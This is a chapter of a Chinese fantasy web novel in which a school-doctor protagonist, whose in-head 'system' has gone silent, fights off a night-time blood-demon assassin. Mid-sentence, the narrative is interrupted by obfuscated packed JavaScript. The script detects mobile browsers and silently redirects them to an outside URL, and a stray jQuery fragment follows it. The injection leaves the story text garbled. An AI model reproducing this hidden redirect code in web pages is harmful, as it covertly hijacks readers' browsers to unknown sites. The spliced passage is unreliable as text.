26. 此乃沸血界的通用语言
作品:《关于我们校医老师是幕后BOSS这件事》 在那之后,系统好几天没有出现。
准确地说,是林砚认识的那个“系统”,没有出现。
他依旧可以调取仪表盘查看数据,依旧会有电子音提示周遭发生了他应该知道的事情。
但那不一样。
就像此刻。
林砚在心里默念:系统,查看仪表盘。
【正在调取跨维度叙事□□系统·世界稳定性监测仪表盘...】
【警告:以下数据基于观测与模型推演生成,存在一定误差,仅供参考。】
光幕展开,数据流滚动:
世界崩溃风险预估:68%
团队凝聚力指数:49%
【陆燃】
生理状态:90%
心理压力:60%
血蚀风险:2%
信任度双边指标:
-对苏清寒:21%
-对赵铁心:80%
-对白晓:45%
【苏清寒】
生理状态:80%
心理压力:55%
血蚀风险:10%
信任度双边指标:
-对陆燃:11%
-对赵铁心:60%
-对白晓:80%
【赵铁心】
生理状态:95%
心理压力:37%
血蚀风险:62%
信任度双边指标:
-对陆燃:85%
-对苏清寒:60%
-对白晓:63%
【白晓】
生理状态:71%
心理压力:89%
血蚀风险:6%
信任度双边指标:
-对陆燃:50%
-对苏清寒:75%
-对赵铁心:70%
数据齐全,分类清晰。
但那些只给他一人阅读的俏皮话消失了。数据还是那些数据,解析还是那般解析,可里面的灵魂,或者说,它生长出的个性被抽走了,只剩下一具严格按照协议运转的空壳。
林砚尝试过沟通。
系统,你还在吗?发生什么事了?
没有回应。
失去灵魂的空壳里只能听到林砚自己的声音回响
没时间留给他探究或感伤,因为没从林砚那得到满意答案,王敬行动了。
深夜。
林砚在睡梦中惊醒。
惊跳的直觉拉扯住他的意识,潜藏在血液里的古老本能,发出了无声的警报。
直觉告诉他,你不能再继续睡下去了。
他睁开眼,房间里只有窗帘过滤后的稀薄月光。一切如常,但有什么不对。
林砚保持平躺的姿势,呼吸节奏不变,感官在黑暗中展开,细细捕捉空气中的动静。得益于A+级沸血者的超凡感知,他很快捕捉到了异样。
楼下的声音很轻。
非常轻。
一步,又一步,不请自来的客人,现在正在楼下大厅。
但林砚记得很清楚,自己睡前亲手锁好了医务楼的大门。
如果是以前的系统,早在他自己惊醒前,就会在脑海里弹出提示了。
林砚轻轻叹了口气。
系统,识别楼下的人员身份。
【指令确认。正在扫描……】
【经生物特征识别比对,目标人物为:六年级学生,派斯。】
是内鬼同学。
只是这个时间……
来者不善啊。
林砚无声地坐起身,被面滑落时几乎没有摩擦声。他先抬手,轻敲耳廓上银色饰线。
“嗒、嗒。”
通讯器激活,白珍那边会收到他的信号,但赶来需要时间——希望老太太没有起床气。
然后,他静静走下床,拿起风衣披上。
做主人的,哪有让客人自助的道理。
派斯推开了二楼卧室的门。
房间里一片漆黑。
派斯站在门口,没有立刻进来,他仔细听了听。
没有声音。
太安静了。
他有些意外,朝着床的方向,试探性地往里走了两步。眼睛逐渐适应黑暗,看到床上被子是掀开的,但里面空无一人。
大晚上的,林医生难道不睡觉吗?
真的不在?
派斯心头涌起一丝不安。计划不是这样的,王敬老师让他今晚带朋友来见林老师,有重要的事情必须当面谈,且不能惊动其他人。
可如果林砚不在……
“晚上好。”
“!”
派斯整个人猛地一颤,心脏猛地一缩,几乎是本能地朝着声音来源猛回头。
卧室门口,林砚双臂环胸,面色平淡地靠在门旁的墙壁上。
他的肩背贴着墙面,一条腿笔直地撑住身体,另一条微微曲起。风衣随意地罩在身上,衬衫领口难得散着,这个姿势下,锁骨的轮廓鲜明又流畅。黑暗几乎完全笼罩了他的面容,只有独一无二的澄澈双眸揭露出他的身份。
刚准备问讯,林砚突然眼神一凛。
派斯不是一个人来的。
黑暗中,无形的阴影如水流般蠕动,身体比大脑更早做出反应,血液在血管里加速奔流,心脏泵压提升。
危险!
顺从直觉,林砚向前迈步,动作不慌不忙,像是闲庭漫步,如同未卜先知般闪掉快出白光的刀锋。
不请自来的隐形刺客现出身形。
这是林砚头一回见到真实的血魔。
他看起来也不过是个十三四岁的孩子,稚嫩的脸上上,暴起的青筋与血蚀纹路纵横交错,暗红的头发像干涸的血液,眼睛也是如出一辙的红色。他没有眼白,或者说,连眼白也是红的。
由于血蚀的长期侵蚀,血魔们的身体已经产生了永久性畸变。
一击未中,刺客没有停顿,身体周围的阴影再次开始蠕动,像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982222|191871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活物般裹上他的肢体,他想再次隐匿回阴影中。
“你在做什么?!”
派斯终于反应过来,声音因为惊怒而变调。
“不是说好了吗?!要好好把林老师‘请’过去!谁让你动手的?!”
刺客歪了歪头,看向派斯。
他居然回答了,只是表情有些僵硬,声音嘶哑干涩,像是很久没说过话。
“只要人没死,也是,好好的。”
他的目光重新锁定林砚,完全没将他这个治疗能力者的战斗力放在眼里,眼神里没有对客人的尊重,只有看猎物般的兴奋和无言的轻视。
仿佛林砚已经是架在枝头的猎物。
那眼神林砚很熟悉。
在他穿越前的世界里,学校里那些身体健全的男生看他的眼神有时也会这样——带着点怜悯,更多的是“你不行”的意味。只是眼前这个血魔少年的眼神更直接,更赤裸,里面还混着对非战斗人员的天然漠视。
沸血者们崇尚力量,崇拜强者。治疗能力者在他们眼中,既是有用的工具也是珍贵的资源。自诩正派的沸血者们会遵从表面的礼节,为了长远的利益也为了文明的表象,予他们以尊重。
但能活一天是一天的血魔们显然不这么认为。
既然是工具,只要能用就可以了。
派斯脸上的血色褪得一干二净,瞳孔颤抖,他看向林砚,嘴唇蠕动,像是想解释什么,却又什么都说不出来。
“哎。”
林砚今夜二度叹息,失去了与他们沟通的欲望。
在白塔待久了,都让他差点忘了。
这到底是个力量至上的世界。
琥珀色的眼眸里,属于“林老师”的温和褪去,余下的只剩冰冷。
好吧。
他想。
让我们换个沟通方式吧。
——祸血凭依。
温度骤然下降,以林砚为中心,属于冰冻的领域无声地展开。空气里的水分凝结成细小的冰晶,悬浮在黑暗中,反射着微弱的月光。地板、墙壁、家具表面,迅速覆上一层薄薄的白霜,少年刺客的动作亦是猛地僵住。
他的身体不由自己控制了。
脸上的血蚀纹路亮起,像烧红的烙铁一样发出灼热的光,青筋在皮肤下疯狂跳动,他张着嘴,喉咙里挤出“嗬嗬”的抽气声。心脏慢到近乎无法跳动,曾经在血管内高速畅游的血液像是变成了沼泽里的泥,四肢麻痹,透骨生寒,死亡从未这么真切地离他如此之近。
恐惧如影随形地伴随死亡而至。
离得稍远的派斯同样感受到了那股寒意。
他抱着胳膊打了个哆嗦,看着嘴里呼出的气瞬间凝结成雾。派斯惊恐地看着自己的朋友——他现在就像个被冻僵的虫子,蜷缩着身体,像是已经失去生命般倒在地上。
始作俑者,林砚,微笑着蹲了下来,摸了摸刺客的头,帮他把头发理顺。
这才对。
这才是他们能听懂的语言。

